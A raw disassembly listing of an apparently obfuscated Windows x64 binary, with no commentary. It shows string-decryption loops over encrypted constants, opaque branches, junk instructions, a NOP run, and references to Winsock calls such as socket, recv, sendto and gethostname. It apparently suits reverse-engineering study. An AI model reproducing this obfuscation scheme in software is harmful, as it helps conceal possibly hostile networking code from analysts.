lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140097598
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400974d0
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140097791
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400974f8
movzx r9d, r11b
lea ecx, [r9 - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x16
jmp 0x140097754
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140097526
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140096c85
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140097104
movzx r9d, r11b
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x1400976c8
movzx r9d, r11b
lea edx, [r9 - 0x48]
movzx eax, dl
and al, r10b
add al, al
movzx edi, byte [rbp + r11 + 0x150]
sub dil, al
sub dil, 8
add dil, dl
add dil, r10b
jmp 0x140097754
movzx r9d, r11b
lea edx, [r9 + 0x1e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 0x2f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x49
add r9b, r10b
movzx eax, r9b
mov byte [rbp + r11 + 0x150], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x150], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x140096c85
lea ecx, [r11 + 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1d
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x140096c85
lea ecx, [r11 + 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7b
jmp 0x140097791
movzx r9d, r11b
lea ecx, [r9 + 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xf
jmp 0x140097754
lea ecx, [r11 - 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x27
dec r11
inc r11
jmp 0x140096c85
movzx r9d, r11b
lea ecx, [r9 + 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6d
jmp 0x1400976c8
movzx r9d, r11b
lea ecx, [r9 + 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
inc dil
add r9b, 5
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x23
add r9b, r10b
mov byte [rbp + r11 + 0x150], r9b
inc r8
dec r11
inc r11
jmp 0x140096c85
lea ecx, [r11 - 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x35
inc r8
dec r11
inc r11
jmp 0x140096c85
lea ecx, [r11 + 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6b
dec r11
inc r11
jmp 0x140096c85
movzx r9d, r11b
lea ecx, [r9 + 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5f
add r9b, 0x6b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x13
add r9b, dil
add r9b, r10b
mov byte [rbp + r11 + 0x150], r9b
jmp 0x14009778e
lea ecx, [r11 - 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x29
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140096c85
lea rcx, [r11 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x51
movzx eax, byte [rbp + r11 + 0x150]
add rax, r8
add r11, rax
inc r11
jmp 0x140096c85
dec r11b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
add dil, 7
jmp 0x140096c82
sub r11b, 0x67
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x2f
jmp 0x140096c72
lea rcx, [rbp + 0x1582d94]
jmp 0x140097827
lea rcx, [rbp + 0xf67547]
jmp 0x140097827
lea rcx, [rbp + 0x150]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
movzx edi, byte [rsp + 0x30]
cmp byte [0x1401feab0], al
jne 0x140098495
mov r14, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp + 0x100], 0xd7093942
mov dword [rbp + 0x104], 0xe4dbd9f5
mov word [rbp + 0x108], 0x311a
mov byte [rbp + 0x10a], 0x52
mov dword [rbp + 0x10b], eax
mov word [rbp + 0x10f], ax
mov byte [rbp + 0x111], al
movabs r15, 0x6aba900dedea4174
movabs r13, 0xeb19f0618167ca2c
movabs r12, 0x402fb029c9bec45c
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x12
jae 0x140098460
movzx r9d, byte [rbp + r10 + 0x100]
mov r11, r9
nop word [rax + rax]
cmp rbx, r10
ja 0x140098457
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14009794b
lea rdi, [r10 + r15]
movzx eax, dil
and al, r11b
add al, al
sub dil, al
sub dil, 0x2c
add dil, r11b
jmp 0x140097985
je 0x1400983dd
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140098351
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009831b
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400982d7
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140098289
cmp r8, r10
ja 0x14009844e
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x1400979b6
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400979f0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14009826c
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140098247
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140098228
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140098209
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140097f6e
nop dword [rax]
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140097f4e
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140097f29
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140097f04
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140097ee4
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140097ec8
lea rcx, [r8 + 0x80]
cmp rbx, rcx
je 0x140097ea9
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140097e8a
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140097e6b
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140097e3a
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140097a00
mov rbx, rcx
lea r8, [rcx + 0x28]
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x14009842e
lea rax, [r8 + 0x3e8]
cmp rcx, rax
jb 0x14009840e
lea rax, [r8 + 0x10]
cmp rcx, rax
jb 0x140097be3
lea rax, [r8 + 0x20]
cmp rcx, rax
jb 0x140097bc4
lea rax, [r8 + 0x28]
cmp rcx, rax
jb 0x140097ba5
lea rcx, [r8 + 0x40]
cmp rbx, rcx
jb 0x140097de9
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140097d9f
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140097d5a
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140097d33
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140097a00
mov rbx, rcx
lea r8, [rcx + 0xa]
lea rax, [r8 + 5]
cmp rcx, rax
ja 0x140097d05
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x140097ce6
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x140097cc7
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x140097cab
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x140097c8c
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x140097c6c
lea rax, [r8 + 2]
cmp rcx, rax
ja 0x140097c4a
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x140097c22
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x140097c02
lea rbx, [r8 + 1]
lea r8, [rbx + 6]
jmp 0x140097a00
lea edx, [r10 - 4]
movzx eax, r9b
and al, dl
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400979f0
lea edx, [r10 + 0x14]
movzx eax, r9b
and al, dl
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140097985
lea edx, [r10 + 0x2c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x34
add dil, dl
jmp 0x140097917
lea edx, [r10 + 0x20]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x1400982a4
lea edx, [r10 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140097904
lea ecx, [r10 + 0x50]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x30
dec r10
inc r10
jmp 0x140097904
lea edx, [r10 + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
movzx r11d, r10b
jmp 0x1400982f2
lea ecx, [r10 + 0x80]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
jmp 0x140098335
lea ecx, [r10 - 0x68]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x28
jmp 0x140098338
lea edx, [r10 - 0x50]
movzx eax, r9b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14009836b
lea edx, [r10 - 0x38]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x78
add dil, dl
jmp 0x140098396
lea ecx, [r10 - 0x20]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x20
movzx eax, byte [rbp + r10 + 0x100]
add rax, r8
add r10, rax
inc r10
jmp 0x140097904
lea ecx, [r10 - 0x64]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x44
mov byte [rbp + r10 + 0x100], dil
inc r10
jmp 0x140097904
lea edx, [r10 - 0x4c]
movzx eax, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r8, 0x2a
jb 0x140097d4a
movzx r11d, r10b
lea edx, [r11 + 0x38]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x10]
jmp 0x1400982a7
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp rbx, 3
jae 0x1400981be
lea rax, [r8 + 0x5a]
cmp rbx, rax
jbe 0x14009810e
lea edx, [r10 + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
jmp 0x140097d71
lea edx, [r10 - 0x1c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3c
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 6
je 0x1400981e2
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140098066
lea edx, [r10 - 0x5c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7c
jmp 0x140097db6
lea edx, [r10 + 0x18]
movzx eax, r9b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x100]
add rax, r8
add r10, rax
inc r10
jmp 0x140097904
lea edx, [r10 + 0x30]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x50
add dil, dl
jmp 0x140098396
lea edx, [r10 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14009836b
lea edx, [r10 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140098338
lea ecx, [r10 + 0x78]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x48
jmp 0x140098335
movzx r11d, r10b
lea edx, [r11 - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400982f2
lea edx, [r10 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140097904
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
inc r8
dec r10
inc r10
jmp 0x140097904
movzx r11d, r10b
lea edx, [r11 - 0x28]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400982a4
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x140097f93
lea edx, [r10 + 0x74]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2c
jmp 0x140097e00
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140097fca
lea ecx, [r10 + 8]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x38
movzx eax, byte [rbp + r10 + 0x100]
add rax, r8
add r10, rax
inc r10
jmp 0x140097904
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140097fef
lea ecx, [r10 - 0x40]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
jmp 0x140098338
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140098006
lea edx, [r10 - 0x58]
mov ecx, 0x34
jmp 0x140098324
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140098031
lea ecx, [r10 + 0x78]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x48
dec r10
inc r10
jmp 0x140097904
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140097e03
lea edx, [r10 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140097904
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009808f
movzx r11d, r10b
lea edx, [r11 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400982a4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400980bd
lea edx, [r10 + 0x5c]
movzx eax, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140097904
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400980e2
lea ecx, [r10 + 0x2c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x34
jmp 0x140098335
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140097db9
lea edx, [r10 - 0x1c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3c
add dil, dl
jmp 0x140098396
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140098145
lea ecx, [r10 + 0x10]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x70
movzx eax, byte [rbp + r10 + 0x100]
add rax, r8
add r10, rax
inc r10
jmp 0x140097904
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009816d
lea edx, [r10 - 8]
movzx eax, r9b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140098396
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140098195
lea edx, [r10 - 0x20]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x20
add dil, dl
jmp 0x14009836b
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140097d74
lea ecx, [r10 - 0x38]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x78
jmp 0x140098338
movzx r11d, r10b
lea edx, [r11 + 0x20]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x100]
sub cl, al
add cl, 0x10
lea edi, [rcx + rcx]
jmp 0x1400982f2
lea edx, [r10 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, byte [rbp + r10 + 0x100]
sub dil, 0x38
add dil, dl
jmp 0x14009836b
lea edx, [r10 - 0x24]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 4
add dil, dl
jmp 0x14009836b
lea edx, [r10 - 0xc]
movzx eax, r9b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140098338
lea edx, [r10 + 0x3c]
movzx eax, r9b
and al, dl
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140097904
movzx r11d, r10b
lea edx, [r11 + 0x6c]
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400982a4
movzx r11d, r10b
lea edx, [r11 - 0x64]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x44
add dil, dl
sub r11b, 0x54
movzx eax, r9b
and al, r11b
mov ecx, 0x26
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x100], cl
inc r8
dec r10
inc r10
jmp 0x140097904
movzx r11d, r10b
lea edx, [r11 - 0x1c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3c
add dil, dl
sub r11b, 0x6c
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0xc
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x100], cl
jmp 0x140098335
lea edx, [r10 - 4]
mov ecx, recvfrom
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140097904
lea rcx, [r10 + r13]
movzx r9d, r11b
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
lea edx, [r10 + 0x7c]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x64
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x100], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x100], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x100]
add rax, r8
add r10, rax
inc r10
jmp 0x140097904
lea rcx, [r10 + r12]
movzx eax, cl
and al, r11b
mov edx, 0x3e
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x100]
add rax, r8
add r10, rax
inc r10
jmp 0x140097904
add r10b, 0x44
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140097901
add r10b, 0x5c
movzx eax, r9b
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400978f1
lea rdx, [rbp + 0x163faf0]
jmp 0x140098467
lea rdx, [rbp + 0xce3c64]
jmp 0x140098467
lea rdx, [rbp + 0x100]
mov rcx, r14
call fcn.140040f20
mov rcx, rax
lea rdx, [0x1401feab8]
call fcn.140040f00
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rbp + 0x50], 0x608660a6
mov dword [rbp + 0x54], 0x607195a2
mov dword [rbp + 0x58], 0x6099ad62
mov dword [rbp + 0x5c], 0x63637b74
mov dword [rbp + 0x60], 0x7f6586b6
mov dword [rbp + 0x64], 0x627b6569
mov dword [rbp + 0x68], 0x6a90bd9f
mov dword [rbp + 0x6c], 0x907065ba
mov dword [rbp + 0x70], 0x9175459b
mov dword [rbp + 0x74], 0x7f408a8f
mov dword [rbp + 0x78], 0x754c9385
mov dword [rbp + 0x7c], 0x98949481
mov dword [rbp + 0x80], 0x535b8988
mov word [rbp + 0x84], 0x2724
mov byte [rbp + 0x86], 0x30
xorps xmm0, xmm0
movups xmmword [rbp + 0x87], xmm0
mov dword [rbp + 0x97], eax
movabs rsi, 0x241dea22e6917e61
movabs r14, 0x450d3b3a1b1d7169
movabs r12, 0xfcd166f44dfa74a7
movabs r15, 0x6c59be68b3b47b23
nop dword [rax + rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x4b
jae 0x1400990b9
movzx r10d, byte [rbp + r11 + 0x50]
mov rdx, r10
cmp rbx, r11
ja 0x1400990b0
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140098592
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x59
jmp 0x1400985e0
je 0x140099045
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140098fc4
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140098f97
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140098f7b
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140098f37
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140098f12
nop dword [rax]
cmp r8, r11
ja 0x1400990a7
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x14009860a
lea ecx, [r11 - 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4d
jmp 0x140098650
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140098ecb
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140098eac
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140098e90
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140098e71
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140098e46
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140098bb0
nop dword [rax]
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140098b8d
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140098b69
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140098b48
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140098b25
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140098b03
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140098ae8
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140098ac9
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140098aaa
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140098a80
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140098660
lea rbx, [r8 + 1]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14009908a
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14009906d
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14009884a
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14009882f
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140098814
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140098a37
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400989f2
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x1400989b4
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140098991
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140098660
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x64]
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140098967
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14009894c
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14009892d
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140098912
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400988f4
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400988d1
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x1400988ac
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140098888
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140098865
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140098660
lea rbx, [r8 + 3]
lea r8, [rbx + 9]
jmp 0x140098660
lea ecx, [r11 - 0x55]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x53
jmp 0x140098650
lea ecx, [r11 - 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5f
jmp 0x1400985e0
lea ecx, [r11 + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x11
jmp 0x140098563
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x140098ee8
lea ecx, [r11 - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4a
inc r8
dec r11
inc r11
jmp 0x140098553
lea edx, [r11 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140098553
lea edx, [r11 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x140098f55
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
add rbx, r8
jmp 0x140098fab
lea ecx, [r11 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x12
jmp 0x140098fab
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140098fde
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
jmp 0x140099006
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
